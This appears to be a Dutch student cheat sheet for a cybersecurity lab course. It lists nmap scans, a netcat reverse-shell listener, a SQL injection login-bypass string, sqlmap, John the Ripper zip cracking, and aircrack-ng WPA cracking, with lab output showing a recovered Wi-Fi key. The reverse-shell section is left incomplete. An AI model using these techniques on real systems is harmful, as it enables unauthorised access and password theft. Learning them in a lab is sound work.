# Cybersecurity cheat sheet

Door: Gilles De Meerleer

#### **NMAP**

Scan de 1000 meest bekende poorten op een systeem

nmap 192.168.1.22

Scan enkel poort 22 voor 100 systemen

nmap -p22 192.168.1.1-100

Scan alle poorten op één systeem

nmap -p- 192.168.1.22

Services ophalen van 3 poorten op één systeem (banner grabbing)

nmap -sV -p22,80,443 192.168.1.22

#### **Reverse Shells**

Om een reverse shell te maken kan je de volgende commando's gebruiken:

Met Netcat

Op de aanvallers machine:

nc -lvp 4444

# Static file analysis

File hashes

sha256sum file.txt

Op windows:

```
Get-FileHash file.txt -Algorithm SHA256
```

Strings in een bestand zoeken:

```
strings file.txt
```

xxd / hexdump:

```
xxd file.txt
```

```
hexdump -C file.txt | head
```

### **SQL** Injection

**SQL** Injection Cheat Sheet

Kraken van een login form:

```
' or 1=1 -- .
```

Gebruik sqlmap om SQL Injection te vinden:

```
sqlmap -u "http://example.com/login.php" --data="username=admin&password=admin" --
method=POST
```

## John the Ripper

John the Ripper is een tool om wachtwoorden te kraken. Om een zip bestand te kraken kan je het volgende commando gebruiken:

Eerst moet je de hashes extraheren uit het zip bestand:

```
zip2john /path/to/zipfile.zip > /path/to/hash.txt
```

Daarna kan je John the Ripper gebruiken om de hashes te kraken:

```
john --format=zip --wordlist=/path/to/wordlist.txt /path/to/hash.txt
```

Deze kan je ook gebruiken om een hash te kraken:

```
john --format=PKZIP --wordlist=rockyou.txt hash.txt
```

### WiFi captures analyseren

#### Aircrack-ng

Om een WiFi netwerk te kraken met Aircrack-ng, moet je eerst de handshake capturen. Dit kan je doen met de volgende commando's:

```
aircrack-ng wpa-easy-01.cap
```

Om te controleren of de handshake succesvol is, kan je het volgende commando gebruiken:

```
—(vagrant⊛kali-linux)-[~/Downloads/wifi-captures]
└$ aircrack-ng -J handshake wpa-easy-01.cap
Reading packets, please wait...
Opening wpa-easy-01.cap
Read 15439 packets.
  # BSSID
                ESSID
                                                   Encryption
  1 00:0F:3D:A7:87:8C HOGENT_WPA
                                                  WPA (1 handshake)
Choosing first network as target.
Reading packets, please wait...
Opening wpa-easy-01.cap
Read 15439 packets.
1 potential targets
Building Hashcat file...
[*] ESSID (length: 10): HOGENT_WPA
[*] Key version: 1
[*] BSSID: 00:0F:3D:A7:87:8C
[*] STA: D4:54:8B:3E:CC:E5
[*] anonce:
    41 6F B3 27 9C 0C C9 80 B8 60 1D AB 75 64 1F BE
   DB EE 48 0F D2 5E FD A8 B6 4D F6 B3 A3 66 71 D0
```

Nu kunnen we de handshake gebruiken om het wachtwoord te kraken met aircrack-ng:

```
—(vagrant⊛kali-linux)-[~/Downloads/wifi-captures]
└─$ aircrack-ng -w ../rockyou.txt -b 00:0F:3D:A7:87:8C wpa-easy-01.cap
Reading packets, please wait...
Opening wpa-easy-01.cap
Read 15439 packets.
1 potential targets
                      Aircrack-ng 1.7
    [00:00:00] 2810/10303727 keys tested (7568.96 k/s)
    Time left: 22 minutes, 40 seconds
                                              0.03%
                   KEY FOUND! [ together ]
    Master Key
              : 90 7A 5C 34 43 BA D8 2C 04 D5 40 E3 9F 24 69 94
                2D E8 82 D6 83 17 63 EA DB 93 4A 6A 94 D4 21 E2
    EAPOL HMAC
            : E0 80 25 3B 6D 08 2A 53 94 24 C2 1B 28 49 F5 70
```

### Deobfuscating

#### Deobfuscating JavaScript

Deobfuscating JavaScript kan met een online tool zoals deobfuscate.io.

# Encoding

Voor encorderingen te decoderen kan je CyberChef gebruiken.

# Steganografie

Om verborgen informatie te vinden in een afbeelding kan je StegOnline gebruiken.